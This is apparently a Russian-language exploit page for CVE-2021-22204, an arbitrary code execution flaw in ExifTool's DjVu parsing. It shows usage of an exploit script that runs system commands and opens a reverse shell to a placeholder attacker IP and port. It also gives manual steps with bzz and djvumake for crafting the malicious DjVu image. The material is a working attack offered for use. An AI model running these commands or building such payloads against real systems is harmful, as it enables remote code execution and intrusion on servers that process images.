Exploit for CVE-2021-22204 CVE-2021-2204 CVE-2021-22204

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ASSASSINUKG-CVE-2021-22204
# CVE-2021-22204

## Описание

Неправильная нейтрализация пользовательских данных в формате файлов DjVu в ExifTool версий 7.44 и выше позволяет выполнять произвольный код при разборе вредоносного изображения.

## Скрипт

Ссылка на скрипт

![изображение](https://assets.kitploit.com/production/public/readmes/15399/859e8263ee67a33096ec86430cf95e44b0ea1420dd39564c3fb6731d863a6a88.png)

### Использование скрипта:

Системная команда:

root@kitploit:~
    
    
    bash CVE-2021-2204.sh "system('id')" happy.jpg 
    

Обратная оболочка

root@kitploit:~
    
    
    bash CVE-2021-2204.sh "reverseme 10.10.10.10 9999" happy.jpg
    

*Ваш IP и PORT

## Ручная эксплуатация

root@kitploit:~
    
    
    $ sudo apt install djvulibre-bin
    # Устанавливает необходимые инструменты
     
    $ bzz payload payload.bzz
    # Сжимает наш файл полезной нагрузки, чтобы он не был читаемым человеком
     
    $ djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
    # INFO = Любое значение в формате 'N,N', где N — число
    # BGjp = Ожидает JPEG-изображение, но мы можем использовать /dev/null как пустой фон
    # ANTz = Записывает сжатый аннотационный блок из входного файла